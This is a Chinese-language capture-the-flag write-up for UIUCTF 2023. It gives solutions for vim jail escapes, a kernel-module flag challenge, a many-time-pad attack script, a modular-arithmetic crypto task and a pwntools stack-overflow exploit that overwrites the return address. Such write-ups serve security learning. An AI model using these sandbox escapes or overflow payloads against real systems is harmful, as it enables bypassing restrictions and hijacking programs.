0%

UIUCTF2023

MISC

vimjail1

这道题一连接就是插入模式,想办法退出插入模式.

1
2
3
4
5
6
7
#entry.sh
#!/usr/bin/env sh

chmod -r /flag.txt

vim -R -M -Z -u /home/user/vimrc

以只读、文本不可修改、限制模式、启动并且用/home/user/vimrc替代了原有的.vimrc

1
2
3
4
5
6
7
8
9
#vimrc
set nocompatible
set insertmode
# 禁用了兼容模式,并且默认启动插入模式
inoremap <c-o> nope
inoremap <c-l> nope
inoremap <c-z> nope
inoremap <c-\><c-n> nope
# 将这些组合键转换为插入单词nope

但是可以按两次ctrl+\再按一次ctrl+n来绕过,然后用:e来读取flag。

:e表示编辑一个文件

vimjail2

1
2
3
4
5
6
#entry.sh
#!/usr/bin/env sh

vim -R -M -Z -u /home/user/vimrc -i /home/user/viminfo

cat /flag.txt

以只读模式、文本不可修改、限制模式启动vim,替换了原有的vimrc和viminfo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#vimrc
set nocompatible
set insertmode

inoremap <c-o> nope
inoremap <c-l> nope
inoremap <c-z> nope
inoremap <c-\><c-n> nope

cnoremap a _
cnoremap b _
cnoremap c _
cnoremap d _
cnoremap e _
cnoremap f _
cnoremap g _
cnoremap h _
cnoremap i _
cnoremap j _
cnoremap k _
cnoremap l _
cnoremap m _
cnoremap n _
cnoremap o _
cnoremap p _
cnoremap r _
cnoremap s _
cnoremap t _
cnoremap u _
cnoremap v _
cnoremap w _
cnoremap x _
cnoremap y _
cnoremap z _
cnoremap ! _
cnoremap @ _
cnoremap # _
cnoremap $ _
cnoremap % _
cnoremap ^ _
cnoremap & _
cnoremap * _
cnoremap - _
cnoremap + _
cnoremap = _
cnoremap ` _
cnoremap ~ _
cnoremap { _
cnoremap } _
cnoremap [ _
cnoremap ] _
cnoremap \| _
cnoremap \ _
cnoremap ; _
cnoremap < _
cnoremap > _
cnoremap , _
cnoremap . _
cnoremap / _
cnoremap ? _

将所有字符都转换成了下划线,绕过方式还是两次ctrl+\+ctrl+n,entry.sh中最后有一个cat /flag,这意味着退出vim后会打印出flag.

:q即可。

Corny Kernel

附件给了一个c文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// SPDX-License-Identifier: GPL-2.0-only

#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt

#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>

extern const char *flag1, *flag2;

static int __init pwny_init(void)
{
pr_alert("%s\n", flag1);
return 0;
}

static void __exit pwny_exit(void)
{
pr_info("%s\n", flag2);
}

module_init(pwny_init);
module_exit(pwny_exit);

MODULE_AUTHOR("Nitya");
MODULE_DESCRIPTION("UIUCTF23");
MODULE_LICENSE("GPL");
MODULE_VERSION("0.1");

下面的代码的意思是当加载模块的时候输出第一段flag

1
2
3
4
5
6
7
8
9
static int __init pwny_init(void)
{
pr_alert("%s\n", flag1);
return 0;
}

...

module_init(pwny_init); #这行代码将 pwny_init 函数注册为模块的初始化函数。在模块加载时,该函数将被调用。

首先用gzip -d pwnymodule.ko.gz,然后用insmod pwnymodule.ko加载这个模块,加载完成后会输出第一串flag。

1
2
3
4
5
6
static void __exit pwny_exit(void)
{
pr_info("%s\n", flag2);
}
module_exit(pwny_exit); #这行代码将 pwny_exit 函数注册为模块的退出函数。在模块被卸载时,该函数将被调用来执行清理操作。

这一串代码的意思是这个模块在被卸载的时候输出第二段flag,用rmmod pwnymodule.ko这个卸载模块,然后用dmesg输出内核的信息,在最后会输出两段flag。

vimjail1.5

1
2
3
4
5
#entry.sh
#!/usr/bin/env sh

vim -R -M -Z -u /home/user/vimrc

1
2
3
4
5
6
7
8
#vimrc
set nocompatible
set insertmode

inoremap <c-o> nope
inoremap <c-l> nope
inoremap <c-z> nope
inoremap <c-\> nope

别的没变,但是之前的方法没用了,用ctrl+r这个用于执行撤销和重做操作。然后用=execute(readfile('flag.txt'))

= 是用于执行表达式的命令。execute()execute() 函数用于执行 Vim 命令。readfile('flag.txt'):使用 Vim 的内置函数 readfile() 读取名为 flag.txt 的文件内容,并返回一个包含文件内容的列表。就是将flag.txt里面的内容变成命令执行,然后就会报错

或者,用=execute(':e flag.txt')然后按两次回车。

vimjail2.5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#vimrc
set nocompatible
set insertmode

inoremap <c-o> nope
inoremap <c-l> nope
inoremap <c-z> nope
inoremap <c-\> nope

cnoremap a _
cnoremap b _
cnoremap c _
cnoremap d _
cnoremap e _
cnoremap f _
cnoremap g _
cnoremap h _
cnoremap i _
cnoremap j _
cnoremap k _
cnoremap l _
cnoremap m _
cnoremap n _
cnoremap o _
cnoremap p _
cnoremap r _
cnoremap s _
cnoremap t _
cnoremap u _
cnoremap v _
cnoremap w _
cnoremap x _
cnoremap y _
cnoremap z _
cnoremap ! _
cnoremap @ _
cnoremap # _
cnoremap $ _
cnoremap % _
cnoremap ^ _
cnoremap & _
cnoremap * _
cnoremap - _
cnoremap + _
cnoremap = _
cnoremap ` _
cnoremap ~ _
cnoremap { _
cnoremap } _
cnoremap [ _
cnoremap ] _
cnoremap \| _
cnoremap \ _
cnoremap ; _
cnoremap < _
cnoremap > _
cnoremap , _
cnoremap . _
cnoremap / _
cnoremap ? _

这个只能输入:q,方法基本上差不多,还是ctrl+r然后=,按TAB键可以补全内置代码,然后找到execute,最后的命令是execute(":q"),后会输出flag。

crypto

Three-Time Pad

http://dann.com.br/alexctf2k17-crypto100-many_time_secrets/

看这篇博客,用他的脚本可以解出这道题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/python
## OTP - Recovering the private key from a set of messages that were encrypted w/ the same private key (Many time pad attack) - crypto100-many_time_secret @ alexctf 2017
# @author intrd - http://dann.com.br/
# Original code by jwomers: https://github.com/Jwomers/many-time-pad-attack/blob/master/attack.py)

import string
import collections
import sets, sys

# 11 unknown ciphertexts (in hex format), all encrpyted with the same key
c1 = "14f5f95b4a252948a8aef177d6c92d82e3016362bd7463f41f40a00ad9e0ccad911b959ef8dfad5f1cc4481ecb64"
c2 = "06e2f65a4c256d0ba8ada164cecd329cae436069f83476e91757e91bd4a4cce2c60a8f9aac8cb14210d55253cd787c0f6a"
c3 = "03f9ea574c267249b2b1ef5d91cd3c99904a3f75873871e94157df0fcbb5d1eab94f9386"
ciphers = [c1, c2, c3]
# The target ciphertext we want to crack
target_cipher = "03f9ea574c267249b2b1ef5d91cd3c99904a3f75873871e94157df0fcbb5d1eab94f9386"

# XORs two string
def strxor(a, b): # xor two strings (trims the longer input)
return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a, b)])

# To store the final key
final_key = [None]*150
# To store the positions we know are broken
known_key_positions = set()

# For each ciphertext
for current_index, ciphertext in enumerate(ciphers):
counter = collections.Counter()
# for each other ciphertext
for index, ciphertext2 in enumerate(ciphers):
if current_index != index: # don't xor a ciphertext with itself
for indexOfChar, char in enumerate(strxor(ciphertext.decode('hex'), ciphertext2.decode('hex'))): # Xor the two ciphertexts
# If a character in the xored result is a alphanumeric character, it means there was probably a space character in one of the plaintexts (we don't know which one)
if char in string.printable and char.isalpha(): counter[indexOfChar] += 1 # Increment the counter at this index
knownSpaceIndexes = []

# Loop through all positions where a space character was possible in the current_index cipher
for ind, val in counter.items():
# If a space was found at least 7 times at this index out of the 9 possible XORS, then the space character was likely from the current_index cipher!
if val >= 7: knownSpaceIndexes.append(ind)
#print knownSpaceIndexes # Shows all the positions where we now know the key!

# Now Xor the current_index with spaces, and at the knownSpaceIndexes positions we get the key back!
xor_with_spaces = strxor(ciphertext.decode('hex'),' '*150)
for index in knownSpaceIndexes:
# Store the key's value at the correct position
final_key[index] = xor_with_spaces[index].encode('hex')
# Record that we known the key at this position
known_key_positions.add(index)

# Construct a hex key from the currently known key, adding in '00' hex chars where we do not know (to make a complete hex string)
final_key_hex = ''.join([val if val is not None else '00' for val in final_key])
# Xor the currently known key with the target cipher
output = strxor(target_cipher.decode('hex'),final_key_hex.decode('hex'))

print "Fix this sentence:"
print ''.join([char if index in known_key_positions else '*' for index, char in enumerate(output)])+"\n"

# WAIT.. MANUAL STEP HERE
# This output are printing a * if that character is not known yet
# fix the missing characters like this: "Let*M**k*ow if *o{*a" = "cure, Let Me know if you a"
# if is too hard, change the target_cipher to another one and try again
# and we have our key to fix the entire text!

#sys.exit(0) #comment and continue if u got a good key

target_plaintext = "printed on flammable material so that spies could"
print "Fixed:"
print target_plaintext+"\n"

key = strxor(target_cipher.decode('hex'),target_plaintext)

print "Decrypted msg:"
for cipher in ciphers:
print strxor(cipher.decode('hex'),key)

print "\nPrivate key recovered: "+key+"\n"

运行得到flag

At Home

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#chal.py
from Crypto.Util.number import getRandomNBitInteger

flag = int.from_bytes(b"uiuctf{******************}", "big")

a = getRandomNBitInteger(256)
b = getRandomNBitInteger(256)
a_ = getRandomNBitInteger(256)
b_ = getRandomNBitInteger(256)

M = a * b - 1
e = a_ * M + a
d = b_ * M + b

n = (e * d - 1) // M

c = (flag * e) % n

print(f"{e = }")
print(f"{n = }")
print(f"{c = }")

1
2
3
e = 359050389152821553416139581503505347057925208560451864426634100333116560422313639260283981496824920089789497818520105189684311823250795520058111763310428202654439351922361722731557743640799254622423104811120692862884666323623693713
n = 26866112476805004406608209986673337296216833710860089901238432952384811714684404001885354052039112340209557226256650661186843726925958125334974412111471244462419577294051744141817411512295364953687829707132828973068538495834511391553765427956458757286710053986810998890293154443240352924460801124219510584689
c = 67743374462448582107440168513687520434594529331821740737396116407928111043815084665002104196754020530469360539253323738935708414363005373458782041955450278954348306401542374309788938720659206881893349940765268153223129964864641817170395527170138553388816095842842667443210645457879043383345869

通过c=(flag*e)%n可得

1
2
3
c = (flag * e) % n
c * e^-1 = (flag * e * e^-1) % n
c * e^-1 = flag % n
1
2
3
4
5
6
7
from Crypto.Util.number import *
e = 359050389152821553416139581503505347057925208560451864426634100333116560422313639260283981496824920089789497818520105189684311823250795520058111763310428202654439351922361722731557743640799254622423104811120692862884666323623693713
n = 26866112476805004406608209986673337296216833710860089901238432952384811714684404001885354052039112340209557226256650661186843726925958125334974412111471244462419577294051744141817411512295364953687829707132828973068538495834511391553765427956458757286710053986810998890293154443240352924460801124219510584689
c = 67743374462448582107440168513687520434594529331821740737396116407928111043815084665002104196754020530469360539253323738935708414363005373458782041955450278954348306401542374309788938720659206881893349940765268153223129964864641817170395527170138553388816095842842667443210645457879043383345869
d=inverse(e,n)
flag=(c*d)%n
print(long_to_bytes(flag))

PWN

Chainmail

一个基础的栈溢出,跳到give_flag的函数即可,但要注意的是在发送give_flag的地址之前要再给他发送一个ret的地址,否则会造成错误的对齐。ret的地址可以用ROPgadget 找,命令:ROPgadget --binary chal --only 'ret'

exp:

1
2
3
4
5
from pwn import *
a = remote("chainmail.chal.uiuc.tf", 1337)
payload=b'a'*72 +p64(0x40101a) + p64(0x401216)
a.sendline(payload)
a.interactive()

WEB

peanut-xss

XSS学的不是很好,具体怎么解可以看下面的文章:

https://hackmd.io/@Solderet/UIUCTF-2023-peanut-xss